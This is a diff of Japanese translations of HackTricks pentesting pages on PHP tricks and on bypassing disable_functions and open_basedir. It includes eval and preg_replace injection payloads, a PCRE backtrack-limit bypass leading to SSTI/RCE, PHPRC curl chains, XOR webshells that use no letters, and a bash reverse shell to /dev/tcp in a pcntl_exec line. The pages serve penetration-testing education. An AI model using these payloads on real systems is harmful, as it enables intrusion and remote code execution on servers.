-要約すると、問題が発生するのは PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) を基にしているためです。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタック領域を使用します。再帰の許容量を制限することが可能ですが、PHP ではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。 +要約すると、問題が発生するのは PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) を基にしているためです。PCRE では特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタック領域を使用します。再帰の許容量を制限することが可能ですが、PHP ではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。 -この問題について詳しく説明されている[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) も投稿にリンクされています。私たちのタスクは明確でした:\ -**正規表現が 100,000 回以上の再帰を行う入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に `{system()}` のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)**。 +この問題について詳しく説明されている[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も投稿にリンクされています。私たちのタスクは明確でした:\ +**正規表現が 100,000 回以上の再帰を行う入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に `{system()} `のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)**。 -実際には、正規表現の観点からは、100,000 回の "再帰"を行っているわけではなく、代わりに "バックトラッキングステップ" をカウントしています。これは [PHP のドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によると、`pcre.backtrack_limit` 変数でデフォルトで 1,000,000 (100 万) に設定されています。\ -これを達成するには、`'X'*500_001` とすると、100 万のバックトラッキングステップ (50 万回の前進と 50 万回の後退) になります。 +実際には、正規表現の観点からは、100k の "再帰"を行っているわけではなく、代わりに "バックトラッキングステップ"をカウントしています。これは [PHP のドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によると、`pcre.backtrack_limit` 変数でデフォルトで 1,000,000 (100万) に設定されています。\ +これを達成するためには、`'X'*500_001` とすると、100万のバックトラッキングステップが発生します (50万回の前進と50万回の後退): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -155,7 +153,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## パス遍歴とファイルインクルージョンの悪用 +## パストラバーサルとファイルインクルージョンの悪用 チェック: @@ -165,16 +163,15 @@ readfile($page); ## もっとトリック -* **register\_globals**: **PHP < 4.1.1.1** または誤って構成されている場合、**register\_globals** が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$\_GET)に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTPパラメータを送信することで、コード内で使用されている変数を上書きできます。 -* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、ドメイン内で**異なるパスで異なるクッキーが使用されている**場合、あるパスが他のパスのクッキーにアクセスするように設定できます。\ -この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**その変数の値を path1 に適用して path2 に適用できます**。そして、path2 は path1 の変数を有効として受け入れます(クッキーにそれに対応する名前を与えることで)。 -* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスをチェックしてください: **/\~\** 、PHPディレクトリが有効になっているかどうかを確認します。 +* **register\_globals**: **PHP < 4.1.1.1** または設定ミスの場合、**register\_globals** が有効になっている可能性があります(またはその挙動が模倣されています)。これは、グローバル変数(例:$\_GET)に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。そのため、HTTPパラメータを送信することで、コード内で使用されている変数を上書きできます。 +* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、同じドメイン内で**異なるパスで異なるクッキーが使用されている**場合、あるパスが他のパスのクッキーにアクセスするように設定できます。これにより、**両方のパスが同じ名前の変数にアクセスする**場合、**path1の変数の値をpath2に適用**させることができます。そして、path2はpath1の変数を有効として受け入れます(path2に対応する名前をクッキーに与えることで)。 +* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスをチェックしてください:**/\~\** がPHPディレクトリが有効化されているかどうかを確認します。 * [**phpラッパーを使用したLFIおよびRCE**](../../../pentesting-web/file-inclusion/) ### password\_hash/password\_verify これらの関数は、通常、PHPで**パスワードからハッシュを生成**し、パスワードがハッシュと一致するかどうかを**チェック**するために使用されます。\ -サポートされているアルゴリズムは、`PASSWORD_DEFAULT` と `PASSWORD_BCRYPT`(`$2y$` で始まる)です。**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じ**です。現在、**PASSWORD\_BCRYPT** は入力のサイズに制限があり、72バイトを超えるものをこのアルゴリズムでハッシュ化しようとすると、最初の72バイトのみが使用されます。 +サポートされているアルゴリズムは、`PASSWORD_DEFAULT` と `PASSWORD_BCRYPT`(`$2y$` で始まる)です。**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じ**です。現在、**PASSWORD\_BCRYPT** は**72バイトの入力のサイズ制限**があります。したがって、このアルゴリズムで72バイトより大きなものをハッシュしようとすると、最初の72バイトのみが使用されます: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -184,10 +181,10 @@ True ``` ### HTTPヘッダーのバイパスを利用したPHPエラーの乱用 -**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合**、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーが応答にヘッダーを追加しようとするとエラーが発生します。\ +**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合**、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーがレスポンスにヘッダーを追加しようとするとエラーが発生します。\ 次のシナリオでは、**攻撃者がサーバーに大きなエラーを発生させました**。スクリーンショットで見ると、PHPが**ヘッダー情報を変更しようとしたときにできなかった**ことがわかります(たとえば、CSPヘッダーがユーザーに送信されませんでした): -![](<../../../.gitbook/assets/image (1082).png>) +![](<../../../.gitbook/assets/image (1085).png>) ## コード実行 @@ -202,10 +199,10 @@ True preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -コードを実行するには、"replace"引数に少なくとも1つの一致が必要です。\ -このpreg\_replaceのオプションは、**PHP 5.5.0以降で非推奨となっています。** +「replace」引数のコードを実行するには、少なくとも1つの一致が必要です。\ +このpreg\_replaceのオプションは、**PHP 5.5.0以降で非推奨となりました。** -### **Eval()を介したRCE** +### **Eval()を通じたRCE** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# @@ -243,40 +240,38 @@ function foo($x,$y){ usort();}phpinfo;#, "cmp"); }?> ``` -### **コメントアウト** +**//**を使用してコードの残りをコメントアウトすることもできます。 -コードの残り部分をコメントアウトするには **//** を使用することもできます。 +閉じる必要があるかっこの数を見つけるには: -閉じる必要があるかっこの数を見つけるには: - -* `?order=id;}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足している可能性があります。 +* `?order=id;}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足している可能性があります。 * `?order=id);}//`: **警告**が表示されます。それは正しいようです。 -* `?order=id));}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ')' i`)。おそらく閉じる括弧が多すぎる可能性があります。 +* `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。閉じるかっこの数が多すぎる可能性があります。 -### **.httaccess 経由の RCE** +### **.httaccess**を介したRCE -**.htaccess** を **アップロード** できる場合、いくつかの設定を行い、コードを実行することができます(拡張子が .htaccess のファイルが **実行**されるように設定する)。 +**.htaccess**を**アップロード**できる場合、いくつかの設定を**構成**したり、コードを実行したりすることができます(拡張子が.htaccessのファイルが**実行**されるように構成することができます)。 -異なる .htaccess シェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 +異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 -### Env 変数経由の RCE +### Env変数を介したRCE -**PHP で環境変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードすることができる場合、さらなる調査が必要かもしれませんが、これをバイパスできるかもしれません)、この動作を悪用して **RCE** を取得できます。 +PHPで**環境変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードすることができる脆弱性もあれば、さらなる調査でこれをバイパスできるかもしれません)、この動作を悪用して**RCE**を取得できます。 -* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は他のバイナリを実行する際に任意のライブラリを読み込むことを可能にします(この場合は機能しないかもしれません)。 -* **`PHPRC`** : PHPに **設定ファイル** である通常 `php.ini` と呼ばれるファイルの場所を指示します。独自の設定ファイルをアップロードできる場合は、`PHPRC` を使用してPHPを指定します。2番目にアップロードしたファイルを実行する **`auto_prepend_file`** エントリを追加します。この2番目のファイルには通常の **PHP コード** が含まれ、それは他のコードよりも前に PHP ランタイムによって実行されます。 -1. シェルコードが含まれるPHPファイルをアップロードします -2. 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルをステップ1で実行するよう指示する **`auto_prepend_file`** ディレクティブを含めます -3. `PHPRC` 変数をステップ2でアップロードしたファイルに設定します。 +* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は他のバイナリを実行する際に任意のライブラリをロードすることを可能にします(この場合は機能しないかもしれません)。 +* **`PHPRC`** : PHPに**構成ファイル**である通常`php.ini`と呼ばれるファイルの場所を指示します。独自の構成ファイルをアップロードできる場合は、`PHPRC`を使用してPHPを指定します。2番目にアップロードしたファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており**、PHPランタイムによって他のコードよりも前に実行されます。 +1. シェルコードを含むPHPファイルをアップロードします +2. 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルをステップ1で実行するよう指示する**`auto_prepend_file`**ディレクティブを含めます +3. `PHPRC`変数をステップ2でアップロードしたファイルに設定します。 * このチェーンを実行する方法についての詳細は[**元のレポート**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)を参照してください。 * **PHPRC** - 別のオプション -* ファイルをアップロードできない場合、FreeBSDでは "file" `/dev/fd/0` を使用して **`stdin`** を含む **リクエストの本文** を取得できます: +* ファイルをアップロードできない場合、FreeBSDでは「ファイル」`/dev/fd/0`を使用できます。これには**`stdin`**が含まれており、リクエストの**本文**が`stdin`に送信されます: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` -* または **`allow_url_include`** を有効にして **base64 PHP コード** でファイルを先頭に追加して **RCE** を取得できます: +* または、**`allow_url_include`**を有効にしてファイルの前に**base64 PHPコード**を追加してRCEを取得します: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * この手法は[**このレポート**](https://vulncheck.com/blog/juniper-cve-2023-36845)からです。 -## PHP 静的解析 +## PHP静的解析 これらの関数への呼び出しにコードを挿入できるかどうかを確認してください([こちら](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)から)。 ```php @@ -288,15 +283,15 @@ PHPアプリケーションのデバッグ中にエラー表示を有効にす ### PHPコードの逆難読化 -**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードの逆難読化ができます。** +**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードの逆難読化を行うことができます。** ## PHPラッパー&プロトコル -PHPラッパーとプロトコルを使用すると、システム内の**書き込みおよび読み取り保護をバイパス**して侵害することができます。[**詳細はこちら**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)をご覧ください。 +PHPラッパーとプロトコルを使用すると、システム内の書き込みおよび読み取り保護を**バイパス**して侵害することができる可能性があります。[**詳細については、このページをご覧ください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。 ## Xdebug未認証RCE -`phpconfig()`の出力で**Xdebug**が**有効**になっている場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を使用してRCEを取得しようとしてください。 +`phpconfig()`の出力で**Xdebug**が**有効**になっている場合、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を使用してRCEを取得しようとする必要があります。 ## 変数変数 ```php @@ -310,15 +305,15 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## 新しい$\_GET\["a"]\($\_GET\["b"])を悪用したRCE +## 新しい $\_GET\["a"]\($\_GET\["b"]) を悪用した RCE -ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できるかもしれません。詳細については、以下のページをチェックしてください: +ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCE を取得できるかもしれません。詳細については、以下のページをチェックしてください: {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) {% endcontent-ref %} -## 文字なしでPHPを実行 +## 文字を使用せずに PHP を実行する [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) @@ -328,7 +323,7 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst ``` ### **XOR** -XOR(排他的論理和)は、2つのビットが異なる場合にのみ真を返す論理演算子です。 +XOR演算子は、2つのビットが異なる場合に1を返すビット演算子です。これは、データの暗号化や複雑な計算に使用されることがあります。 ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd @@ -337,14 +332,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR簡単なシェルコード -[**この解説**](https://mgp25.com/ctf/Web-challenge/)によると、次のように簡単なシェルコードを生成することが可能です: +[**この解説**](https://mgp25.com/ctf/Web-challenge/)によると、次のように簡単なシェルコードを生成することが可能です。 ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -したのようなペイロードを悪用して任意のPHPを実行できる場合、次のようにリクエストを送信できます: +したがって、**数字や文字なしに任意のPHPを実行**できる場合、次のようなリクエストを送信して、任意のPHPを実行するペイロードを悪用できます: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded @@ -353,7 +348,7 @@ comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` より詳しい説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を参照してください。 -### XORシェルコード(eval内部) +### XOR シェルコード(eval 内部) ```bash #!/bin/bash @@ -373,7 +368,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` -### Perlのように +### パールのように ```php
+
{% embed url="https://websec.nl/" %}
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出する。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index f8a3e3aa0..052a552b5 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -1,16 +1,16 @@ -# PHP - Useful Functions & disable\_functions/open\_basedir bypass +# PHP - 便利な関数とdisable\_functions/open\_basedirバイパス
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **会社をHackTricksで宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出する** +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
@@ -21,73 +21,50 @@ HackTricksをサポートする他の方法: **注意:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshellは、以下の関数が無効になっている場合に**自動的に**チェックしてバイパスできます。 **exec** - コマンドの出力の最終行を返します - ```bash echo exec("uname -a"); ``` - -**passthru** - コマンドの出力をブラウザに直接渡します - +**passthru** - コマンドの出力をブラウザに直接渡す ```bash echo passthru("uname -a"); ``` - **system** - コマンドの出力をブラウザに直接渡し、最後の行を返します - ```bash echo system("uname -a"); ``` - **shell\_exec** - コマンドの出力を返します - ```bash echo shell_exec("uname -a"); ``` - \`\`(バッククォート)- shell\_exec()と同じ - ```bash echo `uname -a` ``` - **popen** - コマンドのプロセスに対して読み取りまたは書き込みパイプを開きます - ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` - -**proc\_open** - popen()に類似していますが、より高度な制御が可能 - +**proc\_open** - popen()と類似していますが、より高度な制御が可能 ```bash proc_close(proc_open("uname -a",array(),$something)); ``` - **preg\_replace** - -**preg\_replace** 関数は、指定されたパターンに一致する文字列を置換します。 - ```php ``` - -**pcntl\_exec** - プログラムを実行します(デフォルトでは、現代のPHPおよびあまり新しくないPHPでは、この関数を使用するために`pcntl.so`モジュールをロードする必要があります) - +**pcntl\_exec** - プログラムを実行します(現代のPHPでは、この関数を使用するためにはデフォルトで`pcntl.so`モジュールをロードする必要があります) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` - -**mail / mb\_send\_mail** - この関数はメールを送信するために使用されますが、`$options` パラメータ内に任意のコマンドを挿入するために悪用されることがあります。これは、**php `mail` 関数**が通常システム内の `sendmail` バイナリを呼び出し、**追加オプションを指定**できるためです。ただし、実行されたコマンドの出力を見ることはできませんので、出力をファイルに書き込むシェルスクリプトを作成し、それを使用してメールを送信し、出力を表示することが推奨されます: - +**mail / mb\_send\_mail** - この関数はメールを送信するために使用されますが、`$options` パラメータ内に任意のコマンドを挿入するために悪用されることがあります。これは、**php `mail` 関数**が通常システム内の `sendmail` バイナリを呼び出し、**追加オプションを指定**できるためです。ただし、実行されたコマンドの出力を見ることはできませんので、出力をファイルに書き込むシェルスクリプトを作成し、それを使用してメールを実行し、出力を表示することが推奨されます。 ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` - **dl** - この関数はPHP拡張機能を動的にロードするために使用できます。この関数は常に存在するわけではないので、悪用しようとする前に利用可能かどうかを確認する必要があります。[このページを読んで、この関数を悪用する方法を学んでください](disable\_functions-bypass-dl-function.md)。 ### PHPコードの実行 -evalの他にもPHPコードを実行する方法があります: include/requireは、ローカルファイルインクルードおよびリモートファイルインクルードの形式でリモートコード実行に使用できます。 - +eval以外にもPHPコードを実行する方法があります: include/requireは、ローカルファイルインクルードおよびリモートファイルインクルードの形式でリモートコードを実行するために使用できます。 ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() @@ -107,27 +84,25 @@ $func->invokeArgs(array()); // or serialize/unserialize function ``` - ## disable\_functions & open\_basedir -**Disabled functions**は、PHPの`.ini`ファイルで設定できる設定で、指定された**関数**の使用を**禁止**するものです。**Open basedir**は、PHPにアクセスできるフォルダを示す設定です。\ -PHPの設定は、\_ /etc/php7/conf.d\_などのパスに構成する必要があります。 +**無効化された関数**は、PHPの`.ini`ファイルで設定できる設定で、指定された**関数**の使用を**禁止**するものです。**Open basedir**は、PHPにアクセスできるフォルダを示す設定です。\ +PHPの設定は、_ /etc/php7/conf.d_などのパスに構成する必要があります。 -両方の構成は、\*\*`phpinfo()`\*\*の出力で確認できます: +両方の構成は、**`phpinfo()`**の出力で確認できます: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) -![](<../../../../.gitbook/assets/image (347).png>) +![](<../../../../.gitbook/assets/image (493).png>) ## open\_basedir Bypass -`open_basedir`は、PHPがアクセスできるフォルダを構成します。これらのフォルダの外のファイルを書き込んだり/読み取ったり/実行したりすることはできませんが、他のディレクトリをリストすることもできません。\ -ただし、何らかの方法で任意のPHPコードを実行できる場合は、制限を**バイパス**するために次の**コード**の一部を試すことができます。 +`open_basedir`は、PHPがアクセスできるフォルダを構成します。**これらのフォルダの外にあるファイルを書き込んだり/読み取ったり/実行したりすることはできません**が、他のディレクトリを**リストすることもできません**。\ +ただし、何らかの方法で任意のPHPコードを実行できる場合は、制限を**バイパス**しようと次の**コード**チャンクを試すことができます。 -### Listing dirs with glob:// bypass +### glob:// バイパスを使用したディレクトリのリスト表示 最初の例では、`glob://`プロトコルといくつかのパスバイパスが使用されています。 - ```php "; } ``` +**ノート1**:パスでは、`/e??/*`を使用して`/etc/*`やその他のフォルダをリストすることもできます。 +**ノート2**:コードの一部が重複しているように見えますが、実際には必要です! +**ノート3**:この例はファイルを読むのではなく、フォルダをリストするためだけに有用です -**ノート1**:パスでは`/e??/*`を使用して`/etc/*`やその他のフォルダをリストすることもできます。\ -**ノート2**:コードの一部が重複しているように見えますが、実際には必要です!\ -**ノート3**:この例はフォルダをリストするためだけに有用です +### FastCGIを悪用した完全なopen_basedirバイパス -### 完全な open\_basedir バイパス FastCGI の乱用 +**PHP-FPMとFastCGIについて詳しく学びたい場合**は、[このページの最初のセクション](disable_functions-bypass-php-fpm-fastcgi.md)を読んでください。 +**`php-fpm`**が構成されている場合、それを悪用して**open_basedir**を完全にバイパスできます: -**PHP-FPM と FastCGI について詳しく学びたい**場合は、[このページの最初のセクション](disable\_functions-bypass-php-fpm-fastcgi.md)を読んでください。\ -**`php-fpm`** が構成されている場合、それを濫用して **open\_basedir** を完全にバイパスすることができます: +![](<../../../../.gitbook/assets/image (545).png>) -![](<../../../../.gitbook/assets/image (350).png>) - -![](<../../../../.gitbook/assets/image (349).png>) - -最初にやるべきことは、**php-fpm の unix ソケットがどこにあるかを見つける**ことです。通常は`/var/run`以下にあるので、**前述のコードを使用してディレクトリをリストし、それを見つける**ことができます。\ -[ここ](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy)からのコード。 +![](<../../../../.gitbook/assets/image (577).png>) +最初にやるべきことは、**php-fpmのunixソケット**がどこにあるかを見つけることです。通常は`/var/run`以下にあるので、**前述のコードを使用してディレクトリをリストし、それを見つける**ことができます。 +[ここからのコード](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)。 ```php request($params, $code)."\n"; ?> ``` - -このスクリプトは、**通常は/var/runにあるphp-fpmのunixソケット**と通信して、任意のコードを実行します。送信される**PHP\_VALUE**属性によって**open\_basedir**設定が上書きされます。\ +このスクリプトは、**通常は/var/runにあるphp-fpmのunixソケット**と通信して、任意のコードを実行します。`open_basedir`設定は送信される**PHP\_VALUE**属性によって上書きされます。\ `eval`が**cmd**パラメータ内に送信されたPHPコードを実行するために使用されていることに注意してください。\ また、**コメントアウトされた324行目**に注目してください。これをコメント解除すると、**ペイロードは自動的に指定されたURLに接続してそこに含まれるPHPコードを実行**します。\ 単に`http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`にアクセスすると、`/etc/passwd`ファイルの内容を取得できます。 {% hint style="warning" %} -`open_basedir`構成を上書きしたように、**`disable_functions`を上書き**できると考えているかもしれません。試してみてくださいが、おそらく\*\*`disable_functions`は`.ini` php\*\*構成ファイルでのみ構成でき、PHP\_VALUEを使用して行う変更はこの特定の設定には効果がありません。 +`open_basedir`構成を上書きしたように`disable_functions`も上書きできると考えているかもしれません。試してみてくださいが、おそらく**`disable_functions`は`.ini` php**構成ファイルでのみ構成でき、PHP\_VALUEを使用して行う変更はこの特定の設定には有効にならないようです。 {% endhint %} ## disable\_functions バイパス -マシン内でPHPコードを実行できる場合、おそらく**任意のシステムコマンドを実行**したいと考えるでしょう。この状況では、おそらくPHP **システムコマンドを実行するためのほとんどまたはすべてのPHP関数が`disable_functions`で無効化**されていることがわかります。\ -したがって、この制限を**バイパス**する方法を見てみましょう(できる場合) +マシン内でPHPコードを実行できる場合、おそらく**任意のシステムコマンドを実行**したいと思うでしょう。この状況では、おそらくPHP **システムコマンドを実行するためのほとんどまたはすべてのPHP関数が`disable_functions`で無効になっている**ことがわかります。\ +したがって、この制限を**バイパス**する方法を見てみましょう(できるなら) ### 自動バイパスの発見 -[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser)というツールを使用して、**`disable_functions`をバイパス**するために使用できる関数(あれば)を示します。 +[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser)というツールを使用して、**`disable_functions`**を**バイパス**するために使用できる関数(あれば)を示します。 ### 他のシステム関数を使用したバイパス -このページの冒頭に戻り、**コマンドを実行する関数が無効になっておらず、環境で利用可能**かどうかを確認してください。1つ見つかれば、それを使用して任意のシステムコマンドを実行できます。 +このページの冒頭に戻り、**コマンドを実行する関数が無効になっておらず、環境で利用可能**かどうかを確認してください。1つ見つけると、それを使用して任意のシステムコマンドを実行できます。 ### LD\_PRELOAD バイパス 